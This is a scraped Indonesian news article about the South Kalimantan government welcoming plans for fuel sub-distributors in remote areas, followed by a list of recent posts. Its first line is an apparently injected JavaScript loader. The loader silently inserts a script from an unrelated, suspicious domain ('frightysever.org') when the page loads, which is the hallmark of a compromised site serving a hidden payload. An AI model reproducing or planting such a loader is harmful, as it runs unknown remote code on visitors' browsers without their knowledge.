(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pemprov Sambut Baik Sub Penyalur BBM di Pelosok Kalsel


BANJARBARU, Pemerintah Provinsi Kalimantan Selatan merespons positif atas rencana pembentukan sub penyalur BBM di provinsi. Sebelumnya Badan Pengatur Hili Minyak dan Gas Bumi (BPH Migas) membuka kesempatan Pemda se-Kalsel menunjuk sub penyalur BBM.

“Sub penyalur ditempatkan di daerah terpencil, terluar, tertinggal. Kami berharap kebijakan ini maka masyarakat yang jauh dari SPBU akan mendapatkan juga kemudahan mendapat BBM,” ucap Asisten II Bidang Perekonomian Setdaprov Kalsel, Hermansyah di sela sosialisasi sub penyalur BBM, Kamis (7/2).

Hermansyah menambahkan bupati akan menentukan harga BBM yang dijual subpenyalur. Pemkab pun berwenang mengatur sebaran titik subpenyalur BBM di peloso daerah. Penentuan harga BBM mengacu jarak antara SPBU dan titik subpenyalur BBM.

“Misalkan 20 kilometer, ada tambahan Rp 500 per liter. Kemudian di atas 20-30 kilometer, mungkin Rp 1.000 perliter tambahannya. Ini yang kami dapatkan harga rasional di masyarakat,” Hermansyah berkata.

Kalaupun masyarakat membeli BBM ke SPBU yang jauh, biaya pun lebih tinggi. Menurut dia, bupati/wali kota akan menentukan daerah mana saja yang perlu subpenyalur BBM. Selain itu, ia meyakini regulasi baru ini bisa menekan pelangsir BBM yang sesuka hati menaikkan harga BBM eceran.

“Terus terang, di daerah sangat terbantu. Karena selama ini yang dirasakan masyarakat jauh dari kota, sulit membeli BBM (harga murah). Kan masih banyak yang ilegal. Setelah ini akan diberikan ke subpenyalur yang resmi,” ucapnya.

Anggota Komite BPH Migas, Jugi Prajogio, mengatakan bupati bertugas menetapkan sebaran titik subpenyalur BBM ke kawasan pelosok yang jauh dari jangkauan SPBU. Menurut dia, lokasi SPBU di Kalsel belum ideal menjangkau semua masyarakat sampai ke pelosok.

Jugi menuturkan cara semacam ini juga menekan praktek pelangsiran BBM yang membuat kelangkaan dan harga melonjak tinggi. “Jumlah titik subpenyalur diserahkan ke bupati. Subpenyalur ini untuk mendekatkan BBM harga murah ke masyarakat pelosok. Tentunya bisa menekan pelangsiran,” ucap Jugi Prajogio. (Rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

4 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

7 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

12 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

15 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

16 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

17 jam ago

This website uses cookies.